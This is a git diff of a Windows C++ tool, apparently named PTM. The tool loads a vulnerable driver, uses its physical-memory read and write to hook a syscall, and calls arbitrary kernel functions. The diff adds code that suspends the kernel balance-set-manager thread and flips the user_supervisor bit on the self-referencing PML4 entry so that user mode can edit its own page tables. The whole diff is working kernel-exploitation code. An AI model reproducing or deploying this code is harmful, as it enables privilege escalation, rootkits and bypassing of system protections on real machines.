diff --git a/PTM/PTM.vcxproj b/PTM/PTM.vcxproj
index 2bcbf73..1c69570 100644
--- a/PTM/PTM.vcxproj
+++ b/PTM/PTM.vcxproj
@@ -144,16 +144,21 @@
+
+
-
+
+
+
+
diff --git a/PTM/PTM.vcxproj.filters b/PTM/PTM.vcxproj.filters
index ae710a4..9d3ae23 100644
--- a/PTM/PTM.vcxproj.filters
+++ b/PTM/PTM.vcxproj.filters
@@ -15,6 +15,9 @@
{96d7e756-9d5b-4c3c-b594-aff6db3f2d51}
+
+ {e1778cd8-6b3a-43dc-a95c-7b6f0896373e}
+
@@ -26,6 +29,9 @@
Source Files
+
+ Source Files
+
@@ -40,14 +46,22 @@
Header Files\vdm
-
- Header Files
-
Header Files
Header Files\util
+
+ Header Files
+
+
+ Header Files
+
+
+
+
+ resources
+
\ No newline at end of file
diff --git a/PTM/icon.ico b/PTM/icon.ico
new file mode 100644
index 0000000..df1d3aa
Binary files /dev/null and b/PTM/icon.ico differ
diff --git a/PTM/icon.rc b/PTM/icon.rc
new file mode 100644
index 0000000..ac3155f
--- /dev/null
+++ b/PTM/icon.rc
@@ -0,0 +1,3 @@
+// Icon Resource Definition
+#define MAIN_ICON 102
+MAIN_ICON ICON "icon.ico"
\ No newline at end of file
diff --git a/PTM/main.cpp b/PTM/main.cpp
index d4cbac0..21b82f8 100644
--- a/PTM/main.cpp
+++ b/PTM/main.cpp
@@ -1,5 +1,5 @@
-#include "vdm_ctx/vdm_ctx.h"
#include "mem_ctx/mem_ctx.hpp"
+#include "set_mgr/set_mgr.hpp"
int __cdecl main(int argc, char** argv)
{
@@ -10,24 +10,85 @@ int __cdecl main(int argc, char** argv)
return -1;
}
- vdm::vdm_ctx vdm;
- nasa::mem_ctx my_proc(vdm);
+ vdm::read_phys_t _read_phys =
+ [&](void* addr, void* buffer, std::size_t size) -> bool
+ {
+ return vdm::read_phys(addr, buffer, size);
+ };
- const auto ntoskrnl_base =
- reinterpret_cast(
- util::get_kmodule_base("ntoskrnl.exe"));
+ vdm::write_phys_t _write_phys =
+ [&](void* addr, void* buffer, std::size_t size) -> bool
+ {
+ return vdm::write_phys(addr, buffer, size);
+ };
- const auto ntoskrnl_pde = my_proc.get_pde(ntoskrnl_base);
- std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present);
- std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn);
- std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page);
+ vdm::vdm_ctx vdm(_read_phys, _write_phys);
+ nasa::mem_ctx my_proc(&vdm);
+ const auto set_mgr_pethread =
+ set_mgr::get_setmgr_pethread(vdm);
+
+ const auto result =
+ set_mgr::stop_setmgr(vdm, set_mgr_pethread);
+
+ std::printf("[+] stop set mgr thread result -> 0x%x (0 == STATUS_SUCCESS)\n", result);
if (!vdm::unload_drv(drv_handle, drv_key))
{
std::printf("[!] unable to unload vulnerable driver...\n");
return -1;
}
+ _read_phys =
+ [&](void* addr, void* buffer, std::size_t size) -> bool
+ {
+ return my_proc.read_phys(addr, buffer, size);
+ };
+
+ _write_phys =
+ [&](void* addr, void* buffer, std::size_t size) -> bool
+ {
+ return my_proc.write_phys(addr, buffer, size);
+ };
+
+ std::printf("[+] sleeping 30 seconds...\n");
+ Sleep(30000);
+
+ // abuse test, make a vdm using a mem_ctx...
+ vdm = vdm::vdm_ctx(_read_phys, _write_phys);
+
+ const auto current_pml4 =
+ reinterpret_cast(
+ my_proc.set_page(my_proc.dirbase));
+
+ for (auto idx = 0u; idx < 512; ++idx)
+ {
+ if (current_pml4[idx].present)
+ {
+ std::printf("pml4e at -> 0x%d (0x%p)\n", idx,
+ reinterpret_cast(my_proc.dirbase) + idx * sizeof pml4e);
+
+ std::printf(" - pfn: 0x%x\n", current_pml4[idx].pfn);
+ std::printf(" - writeable: %d\n", current_pml4[idx].writeable);
+ std::printf(" - executable: %d\n", !current_pml4[idx].nx);
+
+ if (current_pml4[idx].pfn == reinterpret_cast(my_proc.dirbase) >> 12)
+ {
+ std::printf(" [!]<- self referencing pml4e found at index: %d ->[!]\n", idx);
+ current_pml4[idx].user_supervisor = true; // you can manage your own paging tables now :^)
+ }
+ }
+ }
+
+ const auto ntoskrnl_base =
+ reinterpret_cast(
+ util::get_kmodule_base("ntoskrnl.exe"));
+
+ const auto ntoskrnl_pde =
+ my_proc.get_pde(ntoskrnl_base);
+
+ std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present);
+ std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn);
+ std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page);
std::printf("[+] press any key to close...\n");
std::getchar();
}
\ No newline at end of file
diff --git a/PTM/mem_ctx/mem_ctx.cpp b/PTM/mem_ctx/mem_ctx.cpp
index 7482e49..23889e0 100644
--- a/PTM/mem_ctx/mem_ctx.cpp
+++ b/PTM/mem_ctx/mem_ctx.cpp
@@ -2,19 +2,19 @@
namespace nasa
{
- mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid)
+ mem_ctx::mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid)
:
- v_ctx(&v_ctx),
- dirbase(get_dirbase(v_ctx, pid)),
+ v_ctx(v_ctx),
+ dirbase(get_dirbase(*v_ctx, pid)),
pid(pid)
{
// find an empty pml4e inside of current processes pml4...
const auto current_pml4 =
- v_ctx.get_virtual(reinterpret_cast(
- get_dirbase(v_ctx, GetCurrentProcessId())));
+ v_ctx->get_virtual(reinterpret_cast(
+ get_dirbase(*v_ctx, GetCurrentProcessId())));
for (auto idx = 100u; idx > 0u; --idx)
- if (!v_ctx.rkm(current_pml4 + (idx * sizeof pml4e)).value)
+ if (!v_ctx->rkm(current_pml4 + (idx * sizeof pml4e)).present)
this->pml4e_index = idx;
// allocate a pdpt
@@ -31,13 +31,17 @@ namespace nasa
// get page table entries for new pdpt
pt_entries new_pdpt_entries;
hyperspace_entries(new_pdpt_entries, new_pdpt.second);
- this->new_pdpt.first = reinterpret_cast(new_pdpt_entries.pt.second.pfn << 12);
+
+ this->new_pdpt.first =
+ reinterpret_cast(
+ new_pdpt_entries.pt.second.pfn << 12);
// make a new pml4e that points to our new pdpt.
new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn;
// set the pml4e to point to the new pdpt
- set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true);
+ set_pml4e(reinterpret_cast<::ppml4e>(this->dirbase) +
+ this->pml4e_index, new_pdpt_entries.pml4.second, true);
// make a new pd
this->new_pd.second =
@@ -54,7 +58,10 @@ namespace nasa
// get paging table entries for pd
pt_entries new_pd_entries;
hyperspace_entries(new_pd_entries, this->new_pd.second);
- this->new_pd.first = reinterpret_cast(new_pd_entries.pt.second.pfn << 12);
+
+ this->new_pd.first =
+ reinterpret_cast(
+ new_pd_entries.pt.second.pfn << 12);
// make a new pt
this->new_pt.second =
@@ -71,7 +78,10 @@ namespace nasa
// get paging table entries for pt
pt_entries new_pt_entries;
hyperspace_entries(new_pt_entries, this->new_pt.second);
- this->new_pt.first = reinterpret_cast(new_pt_entries.pt.second.pfn << 12);
+
+ this->new_pt.first =
+ reinterpret_cast(
+ new_pt_entries.pt.second.pfn << 12);
}
mem_ctx::~mem_ctx()
@@ -144,7 +154,30 @@ namespace nasa
new_addr.pd_index = this->pde_index;
new_addr.pt_index = this->pte_index;
new_addr.offset = this->page_offset;
- return new_addr.value;
+
+ // handle TLB issues, the TLB might need to be flushed for this entry...
+ __try
+ {
+ *(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
+ return new_addr.value;
+ }
+ __except (EXCEPTION_EXECUTE_HANDLER)
+ {
+ while (true)
+ {
+ while (!SwitchToThread())
+ continue;
+
+ __try
+ {
+ *(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
+ return new_addr.value;
+ }
+ __except(EXCEPTION_EXECUTE_HANDLER)
+ {}
+ }
+ }
+ return {};
}
void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid)
@@ -153,7 +186,8 @@ namespace nasa
reinterpret_cast(
v_ctx.get_peprocess(pid));
- return v_ctx.rkm(peproc + 0x28);
+ return reinterpret_cast(
+ v_ctx.rkm(peproc + 0x28).pfn << 12);
}
bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr)
@@ -371,10 +405,10 @@ namespace nasa
}
}
- void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
+ bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
{
if (!buffer || !addr || !size)
- return;
+ return false;
const auto temp_page = set_page(addr);
__try
@@ -382,13 +416,16 @@ namespace nasa
memcpy(buffer, temp_page, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
- {}
+ {
+ return false;
+ }
+ return true;
}
- void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
+ bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
{
if (!buffer || !addr || !size)
- return;
+ return false;
const auto temp_page = set_page(addr);
__try
@@ -396,7 +433,10 @@ namespace nasa
memcpy(temp_page, buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
- {}
+ {
+ return false;
+ }
+ return true;
}
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
@@ -445,37 +485,4 @@ namespace nasa
return reinterpret_cast((pte.pfn << 12) + virt_addr.offset);
}
-
- unsigned mem_ctx::get_pid() const
- {
- return pid;
- }
-
- void* mem_ctx::get_dirbase() const
- {
- return dirbase;
- }
-
- pml4e mem_ctx::operator[](std::uint16_t pml4_idx)
- {
- return read_phys<::pml4e>(reinterpret_cast(this->dirbase) + pml4_idx);
- }
-
- pdpte mem_ctx::operator[](const std::pair& entry_idx)
- {
- const auto pml4_entry = this->operator[](entry_idx.first);
- return read_phys<::pdpte>(reinterpret_cast(pml4_entry.pfn << 12) + entry_idx.second);
- }
-
- pde mem_ctx::operator[](const std::tuple& entry_idx)
- {
- const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) });
- return read_phys<::pde>(reinterpret_cast(pdpt_entry.pfn << 12) + std::get<2>(entry_idx));
- }
-
- pte mem_ctx::operator[](const std::tuple& entry_idx)
- {
- const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) });
- return read_phys<::pte>(reinterpret_cast(pd_entry.pfn << 12) + std::get<3>(entry_idx));
- }
}
\ No newline at end of file
diff --git a/PTM/mem_ctx/mem_ctx.hpp b/PTM/mem_ctx/mem_ctx.hpp
index 89c2b2c..602224c 100644
--- a/PTM/mem_ctx/mem_ctx.hpp
+++ b/PTM/mem_ctx/mem_ctx.hpp
@@ -1,13 +1,13 @@
#pragma once
#include "../util/nt.hpp"
-#include "../vdm_ctx/vdm_ctx.h"
+#include "../vdm_ctx/vdm_ctx.hpp"
namespace nasa
{
class mem_ctx
{
public:
- explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId());
+ explicit mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid = GetCurrentProcessId());
~mem_ctx();
auto get_pte(void* addr, bool use_hyperspace = false) -> std::pair;
@@ -21,12 +21,10 @@ namespace nasa
auto get_pml4e(void* addr, bool use_hyperspace = false) -> std::pair;
void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
-
- void* get_dirbase() const;
static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid);
- void read_phys(void* buffer, void* addr, std::size_t size);
- void write_phys(void* buffer, void* addr, std::size_t size);
+ bool read_phys(void* buffer, void* addr, std::size_t size);
+ bool write_phys(void* buffer, void* addr, std::size_t size);
template
__forceinline T read_phys(void* addr)
@@ -60,19 +58,15 @@ namespace nasa
}
void* virt_to_phys(pt_entries& entries, void* addr);
+ bool hyperspace_entries(pt_entries& entries, void* addr);
+
void* set_page(void* addr);
void* get_page() const;
- unsigned get_pid() const;
-
- pml4e operator[](std::uint16_t pml4_idx);
- pdpte operator[](const std::pair& entry_idx);
- pde operator[](const std::tuple& entry_idx);
- pte operator[](const std::tuple& entry_idx);
- private:
- bool hyperspace_entries(pt_entries& entries, void* addr);
+ unsigned pid;
void* dirbase;
vdm::vdm_ctx* v_ctx;
+ private:
std::uint16_t pml4e_index,
pdpte_index,
pde_index,
@@ -82,6 +76,5 @@ namespace nasa
std::pair new_pdpt;
std::pair new_pd;
std::pair new_pt;
- unsigned pid;
};
}
\ No newline at end of file
diff --git a/PTM/set_mgr/set_mgr.cpp b/PTM/set_mgr/set_mgr.cpp
new file mode 100644
index 0000000..e2fd1c6
--- /dev/null
+++ b/PTM/set_mgr/set_mgr.cpp
@@ -0,0 +1,77 @@
+#include "set_mgr.hpp"
+
+namespace set_mgr
+{
+ auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD
+ {
+ ULONG return_len = 0u;
+ std::size_t alloc_size = 0x1000u;
+ auto process_info = reinterpret_cast(malloc(alloc_size));
+
+ while (NtQuerySystemInformation
+ (
+ SystemProcessInformation,
+ process_info,
+ alloc_size,
+ &return_len
+ ) == STATUS_INFO_LENGTH_MISMATCH)
+ process_info = reinterpret_cast(
+ realloc(process_info, alloc_size += 0x1000));
+
+ const auto og_ptr = process_info;
+ while (process_info && process_info->UniqueProcessId != (HANDLE)4)
+ process_info = reinterpret_cast(
+ reinterpret_cast(process_info) + process_info->NextEntryOffset);
+
+ auto thread_info = reinterpret_cast(
+ reinterpret_cast(process_info) + sizeof SYSTEM_PROCESS_INFORMATION);
+
+ static const auto ntoskrnl_base =
+ util::get_kmodule_base("ntoskrnl.exe");
+
+ const auto [ke_balance_um, ke_balance_rva] =
+ util::memory::sig_scan(
+ KE_BALANCE_SIG, KE_BALANCE_MASK);
+
+ auto rip_rva = *reinterpret_cast(ke_balance_um + 19);
+ const auto ke_balance_set = ntoskrnl_base + ke_balance_rva + 23 + rip_rva;
+
+ const auto [suspend_in_um, suspend_rva] =
+ util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
+
+ rip_rva = *reinterpret_cast(suspend_in_um + 1);
+ const auto ps_suspend_thread = reinterpret_cast(ntoskrnl_base + rip_rva + 5 + suspend_rva);
+
+ static const auto lookup_pethread =
+ util::get_kmodule_export("ntoskrnl.exe", "PsLookupThreadByThreadId");
+
+ for (auto idx = 0u; idx < process_info->NumberOfThreads; ++idx)
+ {
+ if (thread_info[idx].StartAddress == reinterpret_cast(ke_balance_set))
+ {
+ PETHREAD pethread;
+ auto result = v_ctx.syscall(
+ lookup_pethread, thread_info[idx].ClientId.UniqueThread, &pethread);
+
+ free(og_ptr);
+ return pethread;
+ }
+ }
+
+ free(og_ptr);
+ return {};
+ }
+
+ auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread) -> NTSTATUS
+ {
+ static const auto ntoskrnl_base =
+ util::get_kmodule_base("ntoskrnl.exe");
+
+ const auto [suspend_in_um, suspend_rva] =
+ util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
+
+ const auto rip_rva = *reinterpret_cast(suspend_in_um + 1);
+ const auto ps_suspend_thread = reinterpret_cast(ntoskrnl_base + rip_rva + 5 + suspend_rva);
+ return v_ctx.syscall(ps_suspend_thread, pethread, nullptr);
+ }
+}
\ No newline at end of file
diff --git a/PTM/set_mgr/set_mgr.hpp b/PTM/set_mgr/set_mgr.hpp
new file mode 100644
index 0000000..5b99746
--- /dev/null
+++ b/PTM/set_mgr/set_mgr.hpp
@@ -0,0 +1,18 @@
+#pragma once
+#include "../vdm_ctx/vdm_ctx.hpp"
+
+using PETHREAD = PVOID;
+using PsSuspendThread = NTSTATUS(*)(PETHREAD, PULONG);
+using PsLookupThreadByThreadId = NTSTATUS(*)(HANDLE, PETHREAD*);
+
+#define KE_BALANCE_SIG "\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8B\x88\x00\x00\x00\x00\x48\x8D\x05"
+#define KE_BALANCE_MASK "xxxxx????xxx????xxx"
+
+#define SUSPEND_THREAD_SIG "\xE8\x00\x00\x00\x00\x8B\xF8\xBA\x50\x73\x53\x75"
+#define SUSPEND_THREAD_MASK "x????xxxxxxx"
+
+namespace set_mgr
+{
+ auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD;
+ auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread)->NTSTATUS;
+}
\ No newline at end of file
diff --git a/PTM/util/nt.hpp b/PTM/util/nt.hpp
index 3a4c26e..cdf2f8c 100644
--- a/PTM/util/nt.hpp
+++ b/PTM/util/nt.hpp
@@ -97,7 +97,7 @@ typedef union _pml4e
struct
{
std::uint64_t present : 1; // Must be 1, region invalid if 0.
- std::uint64_t ReadWrite : 1; // If 0, writes not allowed.
+ std::uint64_t writeable : 1; // If 0, writes not allowed.
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT.
std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT.
diff --git a/PTM/util/util.hpp b/PTM/util/util.hpp
index 4c5606b..1efdbd2 100644
--- a/PTM/util/util.hpp
+++ b/PTM/util/util.hpp
@@ -293,4 +293,54 @@ namespace util
}
return NULL;
}
+
+ namespace memory
+ {
+ template
+ __forceinline auto sig_scan(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) -> std::pair
+ {
+ static const auto ntoskrnl_module =
+ LoadLibraryEx(
+ "ntoskrnl.exe",
+ NULL,
+ DONT_RESOLVE_DLL_REFERENCES
+ );
+
+ static const auto p_idh = reinterpret_cast(ntoskrnl_module);
+ if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
+ return { {}, {} };
+
+ static const auto p_inh = reinterpret_cast((LPBYTE)ntoskrnl_module + p_idh->e_lfanew);
+ if (p_inh->Signature != IMAGE_NT_SIGNATURE)
+ return { {}, {} };
+
+ const auto pattern_view =
+ std::string_view
+ {
+ reinterpret_cast(ntoskrnl_module),
+ p_inh->OptionalHeader.SizeOfImage
+ };
+
+ std::array, pattern_length - 1> pattern{};
+ for (std::size_t index = 0; index < pattern_length - 1; index++)
+ pattern[index] = { signature[index], mask[index] };
+
+ auto resultant_address = std::search
+ (
+ pattern_view.cbegin(),
+ pattern_view.cend(),
+ pattern.cbegin(),
+ pattern.cend(),
+ [](char left, std::pair right) -> bool {
+ return (right.second == '?' || left == right.first);
+ });
+
+ const auto found_address =
+ resultant_address == pattern_view.cend() ? 0 :
+ reinterpret_cast(resultant_address.operator->());
+
+ const auto rva = found_address - reinterpret_cast(ntoskrnl_module);
+ return { found_address, rva };
+ }
+ }
}
\ No newline at end of file
diff --git a/PTM/vdm_ctx/vdm_ctx.cpp b/PTM/vdm_ctx/vdm_ctx.cpp
index 4eb651c..8d59289 100644
--- a/PTM/vdm_ctx/vdm_ctx.cpp
+++ b/PTM/vdm_ctx/vdm_ctx.cpp
@@ -1,8 +1,11 @@
-#include "vdm_ctx.h"
+#include "vdm_ctx.hpp"
namespace vdm
{
- vdm_ctx::vdm_ctx()
+ vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
+ :
+ read_phys(read_func),
+ write_phys(write_func)
{
// already found the syscall's physical page...
if (vdm::syscall_address.load())
@@ -34,9 +37,37 @@ namespace vdm
search_thread.join();
}
+ void vdm_ctx::set_read(read_phys_t& read_func)
+ {
+ this->read_phys = read_func;
+ }
+
+ void vdm_ctx::set_write(write_phys_t& write_func)
+ {
+ this->write_phys = write_func;
+ }
+
+ void vdm_ctx::rkm(void* dst, void* src, std::size_t size)
+ {
+ static const auto ntoskrnl_memcpy =
+ util::get_kmodule_export("ntoskrnl.exe", "memcpy");
+
+ this->syscall(
+ ntoskrnl_memcpy, dst, src, size);
+ }
+
+ void vdm_ctx::wkm(void* dst, void* src, std::size_t size)
+ {
+ static const auto ntoskrnl_memcpy =
+ util::get_kmodule_export("ntoskrnl.exe", "memcpy");
+
+ this->syscall(
+ ntoskrnl_memcpy, dst, src, size);
+ }
+
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{
- const auto page_data =
+ const auto page_data =
reinterpret_cast(
VirtualAlloc(
nullptr,
@@ -49,7 +80,7 @@ namespace vdm
if (vdm::syscall_address.load())
break;
- if (!vdm::read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB))
+ if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB))
continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct
@@ -60,7 +91,6 @@ namespace vdm
reinterpret_cast(
address + page + nt_page_offset));
}
-
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
}
@@ -81,11 +111,11 @@ namespace vdm
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
- vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
- vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
+ read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
+ write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast(proc)();
- vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
+ write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}
diff --git a/PTM/vdm_ctx/vdm_ctx.h b/PTM/vdm_ctx/vdm_ctx.hpp
similarity index 73%
rename from PTM/vdm_ctx/vdm_ctx.h
rename to PTM/vdm_ctx/vdm_ctx.hpp
index ac64417..428aa16 100644
--- a/PTM/vdm_ctx/vdm_ctx.h
+++ b/PTM/vdm_ctx/vdm_ctx.hpp
@@ -5,28 +5,35 @@
#include
#include
#include
+#include
#include "../vdm/vdm.hpp"
namespace vdm
{
// change this to whatever you want :^)
constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
-
inline std::atomic is_page_found = false;
inline std::atomic syscall_address = nullptr;
-
inline std::uint16_t nt_page_offset;
inline std::uint32_t nt_rva;
inline std::uint8_t* ntoskrnl;
+ using read_phys_t = std::function;
+ using write_phys_t = std::function;
+
class vdm_ctx
{
public:
- vdm_ctx();
+ explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
+ void set_read(read_phys_t& read_func);
+ void set_write(write_phys_t& write_func);
+ void rkm(void* dst, void* src, std::size_t size);
+ void wkm(void* dst, void* src, std::size_t size);
+
template
__forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const
{
- static const auto proc =
+ static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
@@ -46,12 +53,12 @@ namespace vdm
std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast(jmp_code + 6) = addr;
- vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
+ read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook...
- vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
+ write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast(proc)(args ...);
- vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
+ write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result;
@@ -60,35 +67,15 @@ namespace vdm
template
__forceinline auto rkm(std::uintptr_t addr) -> T
{
- static const auto ntoskrnl_memcpy =
- util::get_kmodule_export("ntoskrnl.exe", "memcpy");
-
T buffer;
- this->syscall(
- ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T);
-
+ rkm((void*)&buffer, (void*)addr, sizeof T);
return buffer;
}
template
__forceinline void wkm(std::uintptr_t addr, const T& value)
{
- static const auto ntoskrnl_memcpy =
- util::get_kmodule_export("ntoskrnl.exe", "memcpy");
-
- this->syscall(
- ntoskrnl_memcpy, (void*)addr, &value, sizeof T);
- }
-
- __forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
- {
- static const auto ntoskrnl_get_virtual =
- util::get_kmodule_export(
- "ntoskrnl.exe",
- "MmGetVirtualForPhysical");
-
- return this->syscall(
- ntoskrnl_get_virtual, addr);
+ wkm((void*)addr, (void*)&value, sizeof T);
}
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
@@ -104,11 +91,25 @@ namespace vdm
(HANDLE)pid,
&peproc
);
-
return peproc;
}
+
+ __forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
+ {
+ static const auto ntoskrnl_get_virtual =
+ util::get_kmodule_export(
+ "ntoskrnl.exe",
+ "MmGetVirtualForPhysical");
+
+ return this->syscall(
+ ntoskrnl_get_virtual, addr);
+ }
+
private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const;
+
+ read_phys_t read_phys;
+ write_phys_t write_phys;
};
}
\ No newline at end of file